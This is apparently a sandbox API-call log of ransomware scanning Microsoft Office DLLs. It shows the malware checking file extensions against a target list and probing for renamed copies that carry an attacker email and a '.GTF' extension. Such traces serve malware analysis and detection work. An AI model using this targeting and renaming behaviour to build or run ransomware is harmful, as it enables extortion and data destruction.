	[0163.399] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0163.399] lstrlenW (lpString=".ppt") returned 4
	[0163.399] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.399] lstrlenW (lpString=".zip") returned 4
	[0163.399] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0163.399] lstrlenW (lpString=".rar") returned 4
	[0163.399] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0163.399] lstrlenW (lpString=".bz2") returned 4
	[0163.399] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0163.399] lstrlenW (lpString=".7z") returned 3
	[0163.399] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.399] lstrlenW (lpString=".dbf") returned 4
	[0163.399] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.399] lstrlenW (lpString=".1cd") returned 4
	[0163.399] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0163.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0163.399] lstrlenW (lpString=".jpg") returned 4
	[0163.399] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0163.399] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.399] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0163.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.403] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=18624) returned 1
	[0163.403] CloseHandle (hObject=0x43c) returned 1
	[0163.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0163.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString=".doc") returned 4
	[0163.404] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString=".docx") returned 5
	[0163.404] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.404] lstrlenW (lpString=".pdf") returned 4
	[0163.404] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString=".xls") returned 4
	[0163.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString=".xlsx") returned 5
	[0163.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.404] lstrlenW (lpString=".ppt") returned 4
	[0163.404] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString=".zip") returned 4
	[0163.404] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString=".rar") returned 4
	[0163.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.404] lstrlenW (lpString=".bz2") returned 4
	[0163.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.404] lstrlenW (lpString=".7z") returned 3
	[0163.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString=".dbf") returned 4
	[0163.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString=".1cd") returned 4
	[0163.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.404] lstrlenW (lpString=".jpg") returned 4
	[0163.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString=".doc") returned 4
	[0163.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString=".docx") returned 5
	[0163.405] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.405] lstrlenW (lpString=".pdf") returned 4
	[0163.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString=".xls") returned 4
	[0163.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString=".xlsx") returned 5
	[0163.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.405] lstrlenW (lpString=".ppt") returned 4
	[0163.405] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString=".zip") returned 4
	[0163.405] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString=".rar") returned 4
	[0163.405] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.405] lstrlenW (lpString=".bz2") returned 4
	[0163.405] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.405] lstrlenW (lpString=".7z") returned 3
	[0163.405] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString=".dbf") returned 4
	[0163.405] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString=".1cd") returned 4
	[0163.405] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0163.405] lstrlenW (lpString=".jpg") returned 4
	[0163.405] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.405] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.406] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0163.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.406] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=18624) returned 1
	[0163.407] CloseHandle (hObject=0x43c) returned 1
	[0163.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0163.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.407] lstrlenW (lpString=".doc") returned 4
	[0163.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString=".docx") returned 5
	[0163.407] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.407] lstrlenW (lpString=".pdf") returned 4
	[0163.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString=".xls") returned 4
	[0163.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString=".xlsx") returned 5
	[0163.407] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.407] lstrlenW (lpString=".ppt") returned 4
	[0163.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.407] lstrlenW (lpString=".zip") returned 4
	[0163.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString=".rar") returned 4
	[0163.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.407] lstrlenW (lpString=".bz2") returned 4
	[0163.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.408] lstrlenW (lpString=".7z") returned 3
	[0163.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".dbf") returned 4
	[0163.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".1cd") returned 4
	[0163.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".jpg") returned 4
	[0163.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".doc") returned 4
	[0163.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString=".docx") returned 5
	[0163.408] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.408] lstrlenW (lpString=".pdf") returned 4
	[0163.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString=".xls") returned 4
	[0163.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString=".xlsx") returned 5
	[0163.408] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.408] lstrlenW (lpString=".ppt") returned 4
	[0163.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".zip") returned 4
	[0163.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString=".rar") returned 4
	[0163.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.408] lstrlenW (lpString=".bz2") returned 4
	[0163.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.408] lstrlenW (lpString=".7z") returned 3
	[0163.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.408] lstrlenW (lpString=".dbf") returned 4
	[0163.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.409] lstrlenW (lpString=".1cd") returned 4
	[0163.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0163.409] lstrlenW (lpString=".jpg") returned 4
	[0163.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.409] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.409] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0163.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.410] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=21184) returned 1
	[0163.410] CloseHandle (hObject=0x43c) returned 1
	[0163.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0163.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString=".doc") returned 4
	[0163.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString=".docx") returned 5
	[0163.411] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.411] lstrlenW (lpString=".pdf") returned 4
	[0163.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString=".xls") returned 4
	[0163.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString=".xlsx") returned 5
	[0163.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.411] lstrlenW (lpString=".ppt") returned 4
	[0163.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString=".zip") returned 4
	[0163.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString=".rar") returned 4
	[0163.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.411] lstrlenW (lpString=".bz2") returned 4
	[0163.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.411] lstrlenW (lpString=".7z") returned 3
	[0163.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString=".dbf") returned 4
	[0163.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString=".1cd") returned 4
	[0163.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.411] lstrlenW (lpString=".jpg") returned 4
	[0163.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString=".doc") returned 4
	[0163.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString=".docx") returned 5
	[0163.412] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.412] lstrlenW (lpString=".pdf") returned 4
	[0163.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString=".xls") returned 4
	[0163.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString=".xlsx") returned 5
	[0163.412] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.412] lstrlenW (lpString=".ppt") returned 4
	[0163.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString=".zip") returned 4
	[0163.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString=".rar") returned 4
	[0163.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.412] lstrlenW (lpString=".bz2") returned 4
	[0163.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.412] lstrlenW (lpString=".7z") returned 3
	[0163.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString=".dbf") returned 4
	[0163.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString=".1cd") returned 4
	[0163.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0163.412] lstrlenW (lpString=".jpg") returned 4
	[0163.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.413] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.413] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0163.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.413] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19136) returned 1
	[0163.413] CloseHandle (hObject=0x43c) returned 1
	[0163.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0163.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.414] lstrlenW (lpString=".doc") returned 4
	[0163.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString=".docx") returned 5
	[0163.414] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0163.414] lstrlenW (lpString=".pdf") returned 4
	[0163.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString=".xls") returned 4
	[0163.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString=".xlsx") returned 5
	[0163.414] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0163.414] lstrlenW (lpString=".ppt") returned 4
	[0163.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.414] lstrlenW (lpString=".zip") returned 4
	[0163.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString=".rar") returned 4
	[0163.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.414] lstrlenW (lpString=".bz2") returned 4
	[0163.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.414] lstrlenW (lpString=".7z") returned 3
	[0163.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".dbf") returned 4
	[0163.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".1cd") returned 4
	[0163.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".jpg") returned 4
	[0163.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".doc") returned 4
	[0163.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString=".docx") returned 5
	[0163.415] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0163.415] lstrlenW (lpString=".pdf") returned 4
	[0163.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString=".xls") returned 4
	[0163.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString=".xlsx") returned 5
	[0163.415] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0163.415] lstrlenW (lpString=".ppt") returned 4
	[0163.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".zip") returned 4
	[0163.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString=".rar") returned 4
	[0163.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.415] lstrlenW (lpString=".bz2") returned 4
	[0163.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.415] lstrlenW (lpString=".7z") returned 3
	[0163.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.415] lstrlenW (lpString=".dbf") returned 4
	[0163.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.416] lstrlenW (lpString=".1cd") returned 4
	[0163.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0163.416] lstrlenW (lpString=".jpg") returned 4
	[0163.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.416] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.416] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
